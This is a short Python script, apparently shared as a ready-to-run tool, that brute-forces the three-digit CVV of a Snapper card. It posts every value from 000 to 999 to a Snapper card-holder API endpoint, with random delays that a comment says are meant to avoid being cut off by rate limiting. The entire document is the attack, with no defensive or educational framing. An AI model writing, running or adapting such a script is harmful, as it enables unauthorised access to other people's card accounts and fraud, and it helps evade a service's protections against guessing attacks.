Python script that finds the CVV of a Snapper card

snapper_cvv_brute_force.py

import random
import time

import requests


# may not work for native cards
def brute_force_cvv(card_number):
    for i in range(0, 1000):
        num = str(i).zfill(3)
        body = {"cvv": num}
        time.sleep(random.randint(5, 10))   # rate limiting to avoid being cut off
        r = requests.post(f"https://card-holder.snapper.co.nz/v1/cards/{card_number}/transactions", json=body)
        print(f"CVV {num} returned status code {r.status_code}")
        if r.status_code == 200:
            return num


if __name__ == '__main__':
    brute_force_cvv('your_card_number_here')